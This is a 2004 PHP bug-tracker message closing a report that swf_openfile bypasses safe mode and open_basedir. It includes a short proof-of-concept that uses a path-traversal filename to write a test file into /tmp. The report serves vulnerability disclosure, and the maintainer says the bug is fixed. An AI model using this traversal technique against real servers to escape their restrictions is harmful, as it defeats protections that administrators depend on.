#31270 [Opn->Csd]: Safemode can be bypassed

From: Date: Thu, 23 Dec 2004 18:04:17 +0000
Subject: #31270 [Opn->Csd]: Safemode can be bypassed
References: 1  Groups: php.bugs 
Request: Send a blank email to php-bugs+get-70988@lists.php.net to get a copy of this message 
 ID:               31270
 Updated by:       iliaa@php.net
 Reported By:      davidl at ngssoftware dot com
-Status:           Open
+Status:           Closed
 Bug Type:         SWF related
 Operating System: Redhat Linux
 PHP Version:      4.3.10
 New Comment:

This bug has been fixed in CVS.

Snapshots of the sources are packaged every three hours; this change
will be in the next snapshot. You can grab the snapshot at
http://snaps.php.net/.
 
Thank you for the report, and for helping us make PHP better.




Previous Comments:
------------------------------------------------------------------------

[2004-12-23 15:23:37] davidl at ngssoftware dot com

Description:
------------
The swf_openfile function can be used to create files outside of
open_basedir when safe mode is enabled.


Reproduce code:
---------------
<?php
swf_openfile("/../../../../../../../../../../../../../../tmp/testswf.txt",
256, 256, 30, 1, 1, 1);
swf_closefile();
?> 


Expected result:
----------------
a file called testswf.txt will be created in /tmp

Actual result:
--------------
a file called testswf.txt will be created in /tmp


------------------------------------------------------------------------


-- 
Edit this bug report at http://bugs.php.net/?id=31270&edit=1

Thread (2 messages)

« previous php.bugs (#70988) next »